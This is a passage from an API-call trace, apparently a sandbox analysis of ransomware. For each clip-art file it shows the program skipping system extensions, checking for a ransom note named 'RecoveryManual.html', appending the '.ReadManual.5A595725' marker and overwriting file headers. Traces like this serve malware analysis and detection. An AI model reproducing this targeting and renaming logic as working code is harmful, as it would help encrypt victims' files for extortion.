lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ReadManual.5A595725" [0268.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ReadManual.5A595725") returned 87 [0268.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38872760620) returned 1 [0268.059] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 0x20 [0268.059] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.059] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12292) returned 1 [0268.059] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3004, lpName=0x0) returned 0x184 [0268.059] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.060] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.060] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.062] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.062] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3004) returned 0x2f0000 [0268.062] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.063] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38873131262) returned 1 [0268.063] CloseHandle (hObject=0x184) returned 1 [0268.063] SetSecurityInfo () returned 0x57 [0268.063] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.063] CloseHandle (hObject=0x194) returned 1 [0268.063] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0268.063] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188519.WMF" | out: lpString1="J0188519.WMF") returned="J0188519.WMF" [0268.063] lstrcmpiW (lpString1="J0188519.WMF", lpString2="RecoveryManual.html") returned -1 [0268.063] StrStrIW (lpFirst="J0188519.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.063] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.063] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.063] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" [0268.063] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ReadManual.5A595725" [0268.063] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ReadManual.5A595725") returned 87 [0268.064] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38873230647) returned 1 [0268.064] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 0x20 [0268.064] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.064] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5824) returned 1 [0268.064] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16c0, lpName=0x0) returned 0x184 [0268.064] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.065] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.067] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.067] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16c0) returned 0x2f0000 [0268.067] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.067] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38873582412) returned 1 [0268.067] CloseHandle (hObject=0x184) returned 1 [0268.067] SetSecurityInfo () returned 0x57 [0268.067] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.067] CloseHandle (hObject=0x194) returned 1 [0268.067] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0268.067] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188587.WMF" | out: lpString1="J0188587.WMF") returned="J0188587.WMF" [0268.067] lstrcmpiW (lpString1="J0188587.WMF", lpString2="RecoveryManual.html") returned -1 [0268.067] StrStrIW (lpFirst="J0188587.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.068] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.068] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.068] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" [0268.068] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ReadManual.5A595725" [0268.068] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ReadManual.5A595725") returned 87 [0268.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38873681696) returned 1 [0268.068] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 0x20 [0268.068] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.069] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15196) returned 1 [0268.069] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b5c, lpName=0x0) returned 0x184 [0268.069] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.069] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.069] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.071] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.071] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b5c) returned 0x2f0000 [0268.071] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.072] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38874031834) returned 1 [0268.072] CloseHandle (hObject=0x184) returned 1 [0268.072] SetSecurityInfo () returned 0x57 [0268.072] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.072] CloseHandle (hObject=0x194) returned 1 [0268.072] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0268.072] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188667.WMF" | out: lpString1="J0188667.WMF") returned="J0188667.WMF" [0268.072] lstrcmpiW (lpString1="J0188667.WMF", lpString2="RecoveryManual.html") returned -1 [0268.072] StrStrIW (lpFirst="J0188667.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.072] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.072] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.072] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" [0268.072] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ReadManual.5A595725" [0268.072] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.ReadManual.5A595725") returned 87 [0268.073] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38874128768) returned 1 [0268.073] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 0x20 [0268.073] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.073] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16030) returned 1 [0268.073] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e9e, lpName=0x0) returned 0x184 [0268.073] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.074] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.074] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.075] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.076] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e9e) returned 0x2f0000 [0268.076] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.076] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38874489228) returned 1 [0268.076] CloseHandle (hObject=0x184) returned 1 [0268.076] SetSecurityInfo () returned 0x57 [0268.076] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.076] CloseHandle (hObject=0x194) returned 1 [0268.076] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0268.076] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188669.WMF" | out: lpString1="J0188669.WMF") returned="J0188669.WMF" [0268.077] lstrcmpiW (lpString1="J0188669.WMF", lpString2="RecoveryManual.html") returned -1 [0268.077] StrStrIW (lpFirst="J0188669.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.077] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.077] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.077] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" [0268.077] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ReadManual.5A595725" [0268.077] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.ReadManual.5A595725") returned 87 [0268.077] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38874588991) returned 1 [0268.077] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 0x20 [0268.078] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.078] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29602) returned 1 [0268.078] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73a2, lpName=0x0) returned 0x184 [0268.078] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.079] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.079] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.081] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.081] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73a2) returned 0x2f0000 [0268.082] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.082] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38875048349) returned 1 [0268.082] CloseHandle (hObject=0x184) returned 1 [0268.082] SetSecurityInfo () returned 0x57 [0268.082] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.082] CloseHandle (hObject=0x194) returned 1 [0268.082] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0268.082] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188679.WMF" | out: lpString1="J0188679.WMF") returned="J0188679.WMF" [0268.082] lstrcmpiW (lpString1="J0188679.WMF", lpString2="RecoveryManual.html") returned -1 [0268.082] StrStrIW (lpFirst="J0188679.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.082] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.082] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.083] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.083] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.083] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" [0268.083] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ReadManual.5A595725" [0268.083] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.ReadManual.5A595725") returned 87 [0268.083] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38875144438) returned 1 [0268.083] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 0x20 [0268.083] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.083] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13162) returned 1 [0268.083] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x336a, lpName=0x0) returned 0x184 [0268.083] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.084] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, 